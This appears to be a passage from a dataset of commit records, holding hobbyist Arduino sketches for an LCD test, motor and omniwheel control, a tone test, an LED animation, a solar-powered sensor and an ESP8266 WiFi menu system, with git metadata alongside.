*pw=0;\n pw++;\n if(connectWifi(ssi,pw))\n Serial.printf(\"CONNECTED TO %s (%s)\\r\\n\",ssi,WiFi.localIP().toString().c_str());\n else\n Serial.printf(\"ERROR ON %s\\r\\n\",ssi);\n }\n }\n }\n Serial.println(\"READY.\");\n}\n\nvoid loop() \n{\n if(Serial.available())\n {\n currMode->serialIncoming();\n }\n currMode->loop();\n}\r\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8a2bf7052c87a3420914c5d68aeb7d253fb6dd8d","subject":"added lcd test code","message":"added lcd test code\n","repos":"gartdan\/Arduino,gartdan\/Arduino","old_file":"sketch_may24b_lcd\/sketch_may24b_lcd.ino","new_file":"sketch_may24b_lcd\/sketch_may24b_lcd.ino","new_contents":"#include <LiquidCrystal.h>\n\nLiquidCrystal lcd(12,11,5,4, 3,2);\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n lcd.begin(16, 2);\n lcd.clear();\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n lcd.print(\"printing text\");\n delay(3000);\n lcd.clear();\n lcd.setCursor(0, 1);\n lcd.print(\"setting cursor\");\n delay(3000);\n lcd.clear();\n lcd.print(\"blink cursor\");\n lcd.blink();\n \n delay(3000);\n lcd.clear();\n lcd.noBlink();\n lcd.print(\"uline cursor\");\n lcd.cursor();\n delay(3000);\n lcd.clear();\n lcd.print(\"no cursor\");\n lcd.noCursor();\n delay(3000);\n lcd.clear();\n lcd.print(\"no display\");\n delay(1000);\n lcd.noDisplay();\n lcd.clear();\n lcd.print(\"lcd display on\");\n delay(3000);\n lcd.display();\n delay(3000);\n lcd.clear();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch_may24b_lcd\/sketch_may24b_lcd.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"91c7ea20ac0f154fa0663fb4fe7fb4ebfef75523","subject":"add ArduinoCar slave code","message":"add ArduinoCar slave code\n","repos":"sunzuolei\/carmela,sunzuolei\/carmela","old_file":"ArduinoCar\/slave\/ArduinoCar.ino","new_file":"ArduinoCar\/slave\/ArduinoCar.ino","new_contents":"#define BAUD_MOTOR 9600\n#define BAUD_WIFI 115200\n#define BUFF_LEN 64\n#define STOP 0\n#define FORWARD 1\n#define BACKWARD 2\n#define RIGHT 3\n#define LEFT 4\n\nchar buff[BUFF_LEN] = {};\n\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(BAUD_WIFI);\n Serial1.begin(BAUD_MOTOR);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly: \n String comData = \"\";\n \n while (Serial.available() > 0) {\n comData += char(Serial.read());\n delay(2);\n }\n\n if (comData.length()) {\n for (int i = 0; i < comData.length() ; i++) {\n switch (int(comData[i])-48) {\n case STOP:\n MoveStop();\n break;\n case FORWARD:\n MoveForward();\n break;\n case BACKWARD:\n MoveBackward();\n break;\n case RIGHT:\n MoveRight();\n break;\n case LEFT:\n MoveLeft();\n break;\n default:\n MoveStop();\n break;\n }\n }\n }\n}\n\nvoid MoveStop()\n{\n int i,j;\n \/\/Packetized serial mode\n \/\/0xAA (\u8be5\u6a21\u5f0f\u7b2c\u4e00\u4e2a\u5b57\u7b26)\n \/\/0x82 \u6211\u4eec\u8bbe\u7f6e\u7684\u5730\u5740\u662f130 = 0x82\n \/\/0x00 \u547d\u4ee4\uff1aa\u4e2d00\u5411\u524d01\u5411\u540e\uff1bb\u4e2d04\u5411\u524d05\u5411\u540e\n \/\/0x00 \u901f\u5ea6\u503c\uff0c\u8303\u56f4\u662f0x00 - 0x80\n \/\/0x02 \u6821\u9a8c\u4f4d = (0x82+0x00+0x00)&0x80\n char a[5]={0xAA,0x82,0x00,0x00,0x02};\n char b[5]={0xAA,0x82,0x04,0x00,0x06};\n\n for(i=0;i<5;i++)\/\/\u901a\u8fc7\u4e32\u53e31\u6765\u63a7\u5236\u7535\u673a\u9a71\u52a8\u677f\n {\n Serial1.print(a[i]);\n }\n for(j=0;j<5;j++)\n {\n Serial1.print(b[j]);\n }\n}\n\nvoid MoveForward()\n{\n int i,j;\n char a[5]={0xAA,0x82,0x00,0x30,0x32};\n char b[5]={0xAA,0x82,0x04,0x30,0x36};\n for(i=0;i<5;i++) \/\/\u901a\u8fc7\u4e32\u53e31\u6765\u63a7\u5236\u7535\u673a\u9a71\u52a8\u677f\n {\n Serial1.print(a[i]);\n }\n for(j=0;j<5;j++)\n {\n Serial1.print(b[j]);\n }\n}\n\nvoid MoveBackward()\n{\n int i,j;\n char a[5]={0xAA,0x82,0x01,0x30,0x33};\n char b[5]={0xAA,0x82,0x05,0x30,0x37};\n for(i=0;i<5;i++)\/\/\u901a\u8fc7\u4e32\u53e31\u6765\u63a7\u5236\u7535\u673a\u9a71\u52a8\u677f\n {\n Serial1.print(a[i]);\n }\n for(j=0;j<5;j++)\n {\n Serial1.print(b[j]);\n }\n}\n\nvoid MoveRight()\n{\n int i,j;\n char a[5]={0xAA,0x82,0x00,0x30,0x32};\n char b[5]={0xAA,0x82,0x05,0x30,0x37};\n for(i=0;i<5;i++)\/\/\u901a\u8fc7\u4e32\u53e31\u6765\u63a7\u5236\u7535\u673a\u9a71\u52a8\u677f\n {\n Serial1.print(a[i]);\n }\n for(j=0;j<5;j++)\n {\n Serial1.print(b[j]);\n }\n}\n\nvoid MoveLeft()\n{\n int i,j;\n char a[5]={0xAA,0x82,0x01,0x30,0x33};\n char b[5]={0xAA,0x82,0x04,0x30,0x36};\n for(i=0;i<5;i++)\/\/\u901a\u8fc7\u4e32\u53e31\u6765\u63a7\u5236\u7535\u673a\u9a71\u52a8\u677f\n {\n Serial1.print(a[i]);\n }\n for(j=0;j<5;j++)\n {\n Serial1.print(b[j]);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduinoCar\/slave\/ArduinoCar.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3410fcd95c30c11581f41030d59325a4d85037cb","subject":"Additional test","message":"Additional test\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/omniwheel4_EncoderD.ino","new_file":"testing\/arduino\/omniwheel4_EncoderD.ino","new_contents":"#include \"Arduino.h\"\n\nint motorPin1_1 = 4;\nint motorPin1_2 = 5;\nint motorPin1_speed = 3;\nint motorPin1_A = A7;\n\nint motorPin2_1 = 7;\nint motorPin2_2 = 8;\nint motorPin2_speed = 6;\nint motorPin2_A = A6;\n\nint motorPin3_1 = 10;\nint motorPin3_2 = 11;\nint motorPin3_speed = 9;\nint motorPin3_A = A5;\n\n\/\/ ----------\n\nint motor1_RPMCount = 0;\nint motor1_State = 0;\nint motor1_MaxRPM = 0;\n\nint motor2_RPMCount = 0;\nint motor2_State = 0;\nint motor2_MaxRPM = 0;\n\nint motor3_RPMCount = 0;\nint motor3_State = 0;\nint motor3_MaxRPM = 0;\n\n\/\/ ----------\n\ntypedef struct {\n int RPM;\n int Speed;\n long MappedSpeed;\n bool Set;\n} SpeedMappingEntity;\n\nconst int SpeedMappingSize = 256;\nSpeedMappingEntity SpeedMapping_Motor1[SpeedMappingSize] = {{0, 0, 0, false}};\nSpeedMappingEntity SpeedMapping_Motor2[SpeedMappingSize]= {{0, 0, 0, false}};\nSpeedMappingEntity SpeedMapping_Motor3[SpeedMappingSize]= {{0, 0, 0, false}};\n\n\/\/ ----------\n\nunsigned long time = 0;\n\nint initState = 0;\nunsigned long initTimestamp = 0;\nint initSpeed = 255;\n\n\/\/ ----------\n\/\/ ----------\n\nvoid setup()\n{\n Serial.begin(9600);\n while (!Serial)\n ;\n Serial.println(\"Init\");\n\n pinMode(motorPin1_1, OUTPUT);\n pinMode(motorPin1_2, OUTPUT);\n pinMode(motorPin1_speed, OUTPUT);\n pinMode(motorPin1_A, INPUT);\n\n pinMode(motorPin2_1, OUTPUT);\n pinMode(motorPin2_2, OUTPUT);\n pinMode(motorPin2_speed, OUTPUT);\n pinMode(motorPin2_A, INPUT);\n\n pinMode(motorPin3_1, OUTPUT);\n pinMode(motorPin3_2, OUTPUT);\n pinMode(motorPin3_speed, OUTPUT);\n pinMode(motorPin3_A, INPUT);\n\n delay(1000);\n}\n\n\nvoid SetMotor(int pinSpeed, int pin1, int pin2, int speed)\n{\n analogWrite(pinSpeed, abs(speed));\n if (speed < 0)\n {\n analogWrite(pin1, 0);\n analogWrite(pin2, 255);\n }\n else\n {\n analogWrite(pin1, 255);\n analogWrite(pin2, 0);\n }\n\n if (speed == 0)\n {\n analogWrite(pin1, 0);\n analogWrite(pin2, 0);\n }\n}\n\n\nvoid Calibration()\n{\n if (initState >= 2)\n {\n return;\n }\n\n if(initState == 0)\n {\n initSpeed = 255;\n SetWheelsTo(initSpeed);\n\n motor1_RPMCount = 0;\n motor2_RPMCount = 0;\n motor3_RPMCount = 0;\n\n initTimestamp = time;\n initState = 1;\n }\n\n\n int delta = 150;\n if (initState == 1 && initTimestamp + delta <= time && initSpeed == 255)\n {\n motor1_MaxRPM = motor1_RPMCount;\n motor2_MaxRPM = motor2_RPMCount;\n motor3_MaxRPM = motor3_RPMCount;\n }\n\n if (initState == 1 && initTimestamp + delta <= time && initSpeed > 0)\n {\n SpeedMapping_Motor1[initSpeed].RPM = motor1_RPMCount;\n SpeedMapping_Motor1[initSpeed].Speed = initSpeed;\n SpeedMapping_Motor1[initSpeed].MappedSpeed = 255 \/ motor1_MaxRPM * motor1_RPMCount;\n SpeedMapping_Motor1[initSpeed].Set = true;\n\n SpeedMapping_Motor2[initSpeed].RPM = motor2_RPMCount;\n SpeedMapping_Motor2[initSpeed].Speed = initSpeed;\n SpeedMapping_Motor2[initSpeed].MappedSpeed = 255 \/ motor2_MaxRPM * motor2_RPMCount;\n SpeedMapping_Motor3[initSpeed].Set = true;\n\n SpeedMapping_Motor3[initSpeed].RPM = motor3_RPMCount;\n SpeedMapping_Motor3[initSpeed].Speed = initSpeed;\n SpeedMapping_Motor3[initSpeed].MappedSpeed = 255 \/ motor3_MaxRPM * motor3_RPMCount;\n SpeedMapping_Motor3[initSpeed].Set = true;\n\n \/\/ 12: 255 - 245 - 235 - 225 - 215 - 205 - 195 - 185 - 175 - 165 - 155 - 145\n if (initSpeed > 150)\n {\n initSpeed -= 10;\n }\n \/\/ 14: 140 - 135 - 130 - 125 - 120 - 115 - 110 - 105 - 100 - 95 - 90 - 85 - 80 - 75\n else if(initSpeed > 75)\n {\n initSpeed -= 5;\n }\n \/\/ 76: 75 - 0\n else\n {\n initSpeed -= 1;\n }\n\n SetWheelsTo(initSpeed);\n initTimestamp = time;\n\n motor1_RPMCount = 0;\n motor2_RPMCount = 0;\n motor3_RPMCount = 0;\n }\n\n\n if (initState == 1 && initSpeed == 0)\n {\n initState = 2;\n for(int i = 0; i < SpeedMappingSize; i++)\n {\n Serial.print(i);\n Serial.println(\"----------\");\n \/\/Serial.println(SpeedMapping_Motor1[i].RPM);\n \/\/Serial.println(SpeedMapping_Motor2[i].RPM);\n \/\/Serial.println(SpeedMapping_Motor3[i].RPM);\n }\n }\n}\n\n\nvoid SetWheelsTo(int speed)\n{\n SetMotor(motorPin1_speed, motorPin1_1, motorPin1_2, speed);\n SetMotor(motorPin2_speed, motorPin2_1, motorPin2_2, speed);\n SetMotor(motorPin3_speed, motorPin3_1, motorPin3_2, speed);\n}\n\n\nvoid UpdateRPM()\n{\n int state = (analogRead(motorPin1_A) < 500) ? 0 : 1;\n if(state != motor1_State)\n {\n motor1_RPMCount++;\n motor1_State = state;\n }\n\n state = (analogRead(motorPin2_A) < 500) ? 0 : 1;\n if(state != motor2_State)\n {\n motor2_RPMCount++;\n motor2_State = state;\n }\n\n state = (analogRead(motorPin3_A) < 500) ? 0 : 1;\n if(state != motor3_State)\n {\n motor3_RPMCount++;\n motor3_State = state;\n }\n}\n\n\n\n\n\n\n\nvoid loop()\n{\n time = millis();\n\n UpdateRPM();\n\n Calibration();\n\n}S\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/omniwheel4_EncoderD.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"300b69417dc0cce506ea630a6304dbcefa7c301d","subject":"Music and Light unit tests.","message":"Music and Light unit tests.\n","repos":"akaylyn\/simon,akaylyn\/simon,akaylyn\/simon,akaylyn\/simon,akaylyn\/simon,akaylyn\/simon","old_file":"tests\/UnitTests\/Tone_Test\/Tone_Test.ino","new_file":"tests\/UnitTests\/Tone_Test\/Tone_Test.ino","new_contents":"\/\/ tone test\n#define SPEAKER_WIRE 6 \/\/ can move, PWM needed\n\/\/ tone frequencies for each note\n#define NOTE_DS4 311\n#define RED_TONE NOTE_DS4 \/\/ Red 310 Hz D#4 (true pitch 311.127 Hz)\n#define NOTE_GS4 415\n#define GRN_TONE NOTE_GS4 \/\/ Green 415 Hz G#4 (true pitch 415.305 Hz)\n#define NOTE_GS3 208\n#define BLU_TONE NOTE_GS3 \/\/ Blue 209 Hz G#3 (true pitch 207.652 Hz) \n#define NOTE_B3 247\n#define YEL_TONE NOTE_B3 \/\/ Yellow 252 Hz B3 (true pitch 247.942 Hz)\n#define WRONG_TONE 42 \/\/ a losing tone of 42 Hz \n\n\n\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n \n configureManualSound();\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n delay(1000);\n configureManualSound();\n Serial.print(\".\");\n}\n\n\nvoid configureManualSound() {\n pinMode(SPEAKER_WIRE, OUTPUT);\n \n const unsigned long playDuration = 250;\n playTone(RED_TONE, playDuration);\n delay(playDuration);\n playTone(GRN_TONE, playDuration);\n delay(playDuration);\n playTone(BLU_TONE, playDuration);\n delay(playDuration);\n playTone(YEL_TONE, playDuration);\n}\n\n\/\/ plays a tone\nvoid playTone(unsigned int freq, unsigned long duration) {\n if( duration > 0 ) {\n tone(SPEAKER_WIRE, freq, duration); \/\/ not blocking\n } else {\n tone(SPEAKER_WIRE, freq); \/\/ forever\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tests\/UnitTests\/Tone_Test\/Tone_Test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a2792368a1635ee3e3063551d30603368e192c94","subject":"Wave march example","message":"Wave march example\n","repos":"nijotz\/pixl","old_file":"examples\/wave-march\/wave-march.ino","new_file":"examples\/wave-march\/wave-march.ino","new_contents":"#include \"pixl.h\"\n#include <FastLED.h>\n#include <Logging.h>\n\n#define LOGLEVEL LOG_LEVEL_INFOS\n\nusing namespace pixl;\n\nWaveInput input = WaveInput();\nHueVisualization viz = HueVisualization(&input);\nLEDStrip strip = LEDStrip(128);\nLEDs leds = LEDs(&strip, 0, 128);\nMarchAnimation march = MarchAnimation(&viz, leds);\n\nvoid setup() {\n Log.Init(LOGLEVEL, 9600);\n Log.Info(\"setup()\");\n\n Looper* looper = Looper::instance();\n looper->addInput(&input);\n looper->addVisualization(&viz);\n looper->addAnimation(&march);\n\n FastLED.addLeds<NEOPIXEL, 6>(strip.leds, 128);\n FastLED.show();\n\n Log.Debug(\"Finished setup()\");\n}\n\nvoid loop() {\n Looper::instance()->loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/wave-march\/wave-march.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"66b5f7fe6ed2d067a021a22aefa68e9de9487af1","subject":"Uncommented All Wheels","message":"Uncommented All Wheels\n","repos":"wzschoche\/Titan-Rover,wzschoche\/Titan-Rover,awwdang\/Titan-Rover,awwdang\/Titan-Rover,wzschoche\/Titan-Rover","old_file":"Mobility System\/Titan_Drive\/Titan_Drive.ino","new_file":"Mobility System\/Titan_Drive\/Titan_Drive.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Mobility' did not match any file(s) known to git\nerror: pathspec 'System\/Titan_Drive\/Titan_Drive.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"767c5dcdb17ded19af93e0f1bcbe19ffc074c094","subject":"Start of simplified solar powered sensor","message":"Start of simplified solar powered sensor\n","repos":"theapi\/solar,theapi\/solar,theapi\/solar,theapi\/solar,theapi\/solar","old_file":"sensor\/sensor.ino","new_file":"sensor\/sensor.ino","new_contents":"#include <util\/delay.h>\n#include <avr\/wdt.h>\n#include <avr\/sleep.h> \/\/ Sleep Modes\n#include <avr\/power.h> \/\/ Power management\n#include <VirtualWire.h>\n\n#define LED_DEBUG 13\n#define PIN_TX 6 \/\/ PD6\n#define PIN_PERIF_POWER 7 \/\/ PD7\n#define PIN_WAKEUP 2 \/\/ INT0\n#define PIN_LDR 0 \/\/ PC0\n\n#define SLEEP_FLAG_STAYAWAKE 0 \/\/ Dont sleep\n#define SLEEP_FLAG_IDLE 1 \/\/ Gone to sleep because nothing to do\n#define SLEEP_FLAG_DARK 2 \/\/ Gone to sleep because it is dark\n#define AWAKE_TX_MAX 3 \/\/ How many transmissions before sleeping\n\n#define DARK_THRESHOLD 500 \/\/ sleep when darker than this\n\n\n\/\/ The analoge value of the ldr\nint ldr;\nbyte sleep_flag;\nbyte msgId;\nbyte awake_tx_count;\n\/\/ When the last transmit was attempted.\nunsigned long tx_last = 0; \n\/\/ The transmit interval.\nconst long tx_interval = 2000; \n\n\n\/**\n * ISR for INT0\n *\/\nvoid wakeUp() \n{\n \/\/ Just wake up\n detachInterrupt(0); \/\/ No wakeup interupt while awake\n}\n\nISR(WDT_vect)\n{\n \/\/ Wake up by watchdog\n}\n\nvoid setup()\n{\n watchdog_setup();\n \n Serial.begin(9600); \n pinMode(LED_DEBUG, OUTPUT); \n \n pinMode(PIN_WAKEUP, INPUT);\n pinMode(PIN_TX, OUTPUT); \n\n \n pinMode(PIN_PERIF_POWER, OUTPUT);\n digitalWrite(PIN_PERIF_POWER, LOW); \/\/ low = 0n (PNP)\n \n digitalWrite(LED_DEBUG, HIGH);\n \n \/\/ VirtualWire\n vw_setup(2000); \/\/ Bits per sec\n vw_set_tx_pin(PIN_TX);\n\n}\n\nvoid loop()\n{\n unsigned long now = millis(); \n \/\/ Transmit after interval\n if (now - tx_last >= tx_interval) {\n tx_last = now;\n \n ldr = analogRead(PIN_LDR);\n byte wake_up = digitalRead(PIN_WAKEUP);\n \n \/\/ Send a transmission\n \/\/ int = 5 bytes in transmision string\n \/\/ long int = 10 bytes in transmision string\n \/\/ byte = 3 bytes in transmision string\n char msg[25]; \/\/ string to send\n sprintf(msg, \"S,%d,%d,%u,%u,%lu\", msgId, wake_up, ldr, readVcc());\n Serial.println(msg); \n vw_send((uint8_t *)msg, strlen(msg));\n vw_wait_tx(); \/\/ Wait until the whole message is gone\n ++msgId;\n \n ++awake_tx_count;\n if (awake_tx_count > AWAKE_TX_MAX) {\n awake_tx_count = 0;\n \/\/ Watchdog will wake us up in 8 seconds time.\n goToSleep(SLEEP_FLAG_IDLE);\n } else if (sleep_flag != SLEEP_FLAG_STAYAWAKE && ldr < DARK_THRESHOLD) {\n \/\/ NB wake up requires an external interupt from the ldr \n \/\/ so about 600. \n \/\/ The DARK_THRESHOLD may be less than this so things can run into dusk.\n goToSleep(SLEEP_FLAG_DARK);\n }\n \n }\n}\n\n\/**\n * Watchdog for while awake to ensure things are ticking over.\n *\/\nvoid watchdog_setup()\n{\n \/\/ Clear any previous watchdog interupt\n MCUSR = 0;\n \n \/\/ Reset after 8 seconds, \n \/\/ unless wdt_reset(); has been successfully called\n \n \/* In order to change WDE or the prescaler, we need to\n * set WDCE (This will allow updates for 4 clock cycles).\n *\/\n WDTCSR |= (1<<WDCE) | (1<<WDE);\n\n \/* set new watchdog timeout prescaler value *\/\n WDTCSR = 1<<WDP0 | 1<<WDP3; \/* 8.0 seconds *\/\n \n \/* Enable the WD interrupt (note no reset). *\/\n WDTCSR |= _BV(WDIE);\n \n \/\/wdt_enable(WDTO_8S);\n wdt_reset();\n}\n\nvoid goToSleep(byte flag)\n{\n sleep_flag = flag;\n \n digitalWrite(LED_DEBUG, LOW);\n \n \/\/ Power down the periferals\n digitalWrite(PIN_PERIF_POWER, HIGH);\n \n \n cli();\n \n \/\/ disable ADC\n ADCSRA = 0; \n \n set_sleep_mode(SLEEP_MODE_PWR_DOWN);\n\n if (sleep_flag == SLEEP_FLAG_DARK) {\n \/\/ Turn off watchdog\n wdt_disable();\n \/\/ Attach the external interupt to the LDR.\n attachInterrupt(0, wakeUp, HIGH);\n }\n\n power_all_disable(); \/\/ power off ADC, Timer 0 and 1, serial interface\n sleep_enable();\n sei();\n \n \/\/ turn off brown-out enable in software\n MCUCR = bit (BODS) | bit (BODSE); \/\/ turn on brown-out enable select\n MCUCR = bit (BODS); \/\/ this must be done within 4 clock cycles of above\n sleep_cpu(); \/\/ sleep within 3 clock cycles of above\n\n \n sleep_disable(); \n MCUSR = 0; \/\/ clear the reset register \n \n\n if (sleep_flag == SLEEP_FLAG_DARK) {\n watchdog_setup(); \/\/ watchdog back on\n }\n \n power_all_enable(); \/\/ power everything back on\n \n ADCSRA = (1 << ADEN); \/\/ ADC back on\n \n digitalWrite(LED_DEBUG, HIGH);\n \n \/\/ Power up the periferals\n digitalWrite(PIN_PERIF_POWER, LOW); \/\/ (PNP)\n \n} \n\n\/**\n * Read the internal voltage.\n *\/\nlong readVcc() \n{\n \/\/ Read 1.1V reference against AVcc\n \/\/ set the reference to Vcc and the measurement to the internal 1.1V reference\n #if defined(__AVR_ATmega32U4__) || defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__)\n ADMUX = _BV(REFS0) | _BV(MUX4) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n #elif defined (__AVR_ATtiny24__) || defined(__AVR_ATtiny44__) || defined(__AVR_ATtiny84__)\n ADMUX = _BV(MUX5) | _BV(MUX0);\n #elif defined (__AVR_ATtiny25__) || defined(__AVR_ATtiny45__) || defined(__AVR_ATtiny85__)\n ADMUX = _BV(MUX3) | _BV(MUX2);\n #else\n ADMUX = _BV(REFS0) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n #endif \n \n _delay_ms(2); \/\/ Wait for Vref to settle\n ADCSRA |= _BV(ADSC); \/\/ Start conversion\n while (bit_is_set(ADCSRA,ADSC)); \/\/ measuring\n \n uint8_t low = ADCL; \/\/ must read ADCL first - it then locks ADCH \n uint8_t high = ADCH; \/\/ unlocks both\n \n long result = (high<<8) | low;\n \n result = 1125300L \/ result; \/\/ Calculate Vcc (in mV); 1125300 = 1.1*1023*1000\n return result; \/\/ Vcc in millivolts\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensor\/sensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c81d81d00575545eae85a8398eb730b5c952e518","subject":"Create esp8266-Full-Menu-System-v1.ino","message":"Create esp8266-Full-Menu-System-v1.ino","repos":"celmare\/esp8266Module,fz-29\/esp8266Module,mrdavidjwatts\/esp8266Module","old_file":"esp8266-Full-Menu-System-v1.ino","new_file":"esp8266-Full-Menu-System-v1.ino","new_contents":"\/\/Arduino code for the ESP8226 Module running the 9.2.2 firmware at 9600bps by David Watts\n\/\/youtube.com\/mrdavidjwatts\n\n#include <EEPROM.h>\n#include \"U8glib.h\"\n#include \"SoftwareSerial.h\"\n\nU8GLIB_SSD1306_128X64 u8g(U8G_I2C_OPT_NONE);\t\/\/ Display which does not send AC\nSoftwareSerial esp8266Module(10, 11); \/\/ RX, TX\n\n\/\/ Misc variables\nint statusLED = 13;\n\/\/ Store network credentials variables\nint epWifiStart;\nint epPasswordStart;\n\/\/ Inputting text variables\nint colNum = 1;\nint rowNum = 1;\nchar selectedChar;\nchar lowercase[4][26] = {\n\t{'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'},\n\t{'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'},\n\t{32,'!','\"','#','$','%','&','\\'','(',')','*','+','`','-','_','.','\\\\','\/',']','[','^','}','{','|','~',':'},\n\t{'0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5'}\n};\nint cursorPos = 1;\nString cursor = \" <\";\n\/\/ Display only variables\nchar* mainTitles[] = {\"ESP8266\",\"Connect to Wifi\", \"Find Networks\", \"Run\"};\nchar* runningTitles[] = {\"Running\",\"Status:\", \"Network:\",\"Time:\", \"Date:\", \"Loops:\", \"Temperature\"};\n\/\/ Output variables\nint loopNum = 0; \/\/ how many successful requests have we made?\nString runningValues[7] = {\"\",\"\",\"\",\"\",\"\",\"\",\"\"};\nString RecData; \/\/ Data returned\n\/\/ Program flow variables\nbool connected = false;\nbool breakOut = false;\nenum States {\n\tmain,\n\tconnect,\n\tfindWifi,\n\tselectWifi,\n\tenterPassword,\n\trun\n\t\n};\nStates state = main;\nint runningFunctionNow = 0;\nint wifiStatus = 1; \/\/ tracking the module status\n\/\/ Finding networks variables\nString password; \/\/ important\nString network; \/\/ important\nString DiscoveredNetworks[15] = {\"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\"};\nint selectedNetwork = 0;\nString tempWifi;\nint wifiNumber = 0;\nint foundNetworks = 0;\nbool foundWifi = false;\nunsigned long functionStartTime; \/\/used to store the time a function started\nconst unsigned long timeout = 8000; \/\/the timeout\/maximum time in milliseconds\n\n\nvoid setup() {\n\tdelay(5000);\n\tSerial.begin(9600);\n\tesp8266Module.begin(9600); \/\/ Starting up the Serial for the ESP8266\n\tdelay(5000);\n\tpinMode(statusLED, OUTPUT);\n\tpinMode(7, INPUT); \/\/ Getting the input buttons ready\n\tpinMode(6, INPUT);\n\tpinMode(5, INPUT);\n\tpinMode(4, INPUT);\n\t\/\/ Finding out if we have stored network credentials in EEPROM\n\tif(storedNetworkDetails()){\n\t\treadEPNetworkAndPassword();\n\t}\n}\n\nvoid loop() {\n\t\/\/ Start Display Stuff\n\tif(breakOut == false){\n\t\tu8g.firstPage();\n\t\tdo {\n\t\t\tdisplayShow();\n\t\t} while ( u8g.nextPage() );\n\t\t\n\t}\n\t\/\/ End Display Stuff\n\t\n\t\/\/ Running the menu\n\tmenu();\n\t\n\t\/\/ if we selected run then let the ESP8266 fly\n\tif (state == run)\n\t{\n\t\trunEsp8266(\"www.davidjwatts.com\", \"\/arduino\/esp8266.php\");\n\t}\n\t\/\/ end flying ESP8266\n\t\n\n}\n\n\/\/ Our display function, display and font dependant, feel free to mess around here\nvoid displayShow() {\n\tint posText = 23;\n\tswitch (state) {\n\t\tcase main:\n\t\tu8g.setFont(u8g_font_8x13B);\n\t\tu8g.setPrintPos(0, 13);\n\t\tu8g.print(mainTitles[0]);\n\t\tfor(int i = 1; i < 4; i++){\n\t\t\tu8g.setFont(u8g_font_5x8);\n\t\t\tu8g.setPrintPos(0, posText);\n\t\t\tif(cursorPos == i){\n\t\t\t\tu8g.print(mainTitles[i] + cursor);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tu8g.print(mainTitles[i]);\n\t\t\t}\n\t\t\tposText = posText + 8;\n\t\t}\n\t\tbreak;\n\t\tcase connect:\n\t\tu8g.setFont(u8g_font_8x13B);\n\t\tu8g.setPrintPos(0, 13);\n\t\tu8g.print(\"Connect to Wifi\");\n\t\tu8g.setFont(u8g_font_5x8);\n\t\tu8g.setPrintPos(0, 26);\n\t\tif(network == \"\"){\n\t\t\tu8g.print(\"No stored credentials\");\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif(password == \"\"){\n\t\t\t\tu8g.print(\"No stored credentials\");\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tu8g.print(\"connecting to:\");\n\t\t\t\tu8g.setPrintPos(0, 32);\n\t\t\t\tu8g.print(network);\n\t\t\t}\n\t\t\t\n\t\t}\n\t\tbreak;\n\t\tcase findWifi:\n\t\tu8g.setFont(u8g_font_8x13B);\n\t\tu8g.setPrintPos(0, 13);\n\t\tu8g.print(\"Finding Networks\");\n\t\tu8g.setFont(u8g_font_5x8);\n\t\tu8g.setPrintPos(0, 26);\n\t\tu8g.print(\"Be patient...\");\n\t\tbreak;\n\t\tcase selectWifi:\n\t\tu8g.setFont(u8g_font_8x13B);\n\t\tu8g.setPrintPos(0, 13);\n\t\tu8g.print(\"Select Network\");\n\t\tu8g.setFont(u8g_font_5x8);\n\t\t\/\/\/\/\/\/up\/\/\/\/\/\/\/\/\/ top left right\n\t\tu8g.drawTriangle(64,20, 58,26, 70,26);\n\t\tu8g.setPrintPos(0, 36);\n\t\tu8g.print(DiscoveredNetworks[cursorPos]);\n\t\t\/\/\/\/\/\/down\/\/\/\/\/\/\/ top left right\n\t\tu8g.drawTriangle(64,50, 58,44, 70,44);\n\t\tbreak;\n\t\tcase enterPassword:\n\t\tu8g.setFont(u8g_font_5x8);\n\t\tu8g.setPrintPos(0, 10);\n\t\tu8g.print(network);\n\t\tu8g.setFont(u8g_font_helvB14);\n\t\tu8g.setPrintPos(60, 30);\n\t\tu8g.print(selectedChar);\n\t\tu8g.setFont(u8g_font_5x8);\n\t\tu8g.setPrintPos(0, 50);\n\t\tu8g.print(password);\n\t\tbreak;\n\t\tcase run:\n\t\trunningValues[2] = network;\n\t\trunningValues[3] = splitToVal(RecData, \"+\", \"@\"); \n\t\trunningValues[4] = splitToVal(RecData, \"@\", \"|\");\n\t\trunningValues[5] = 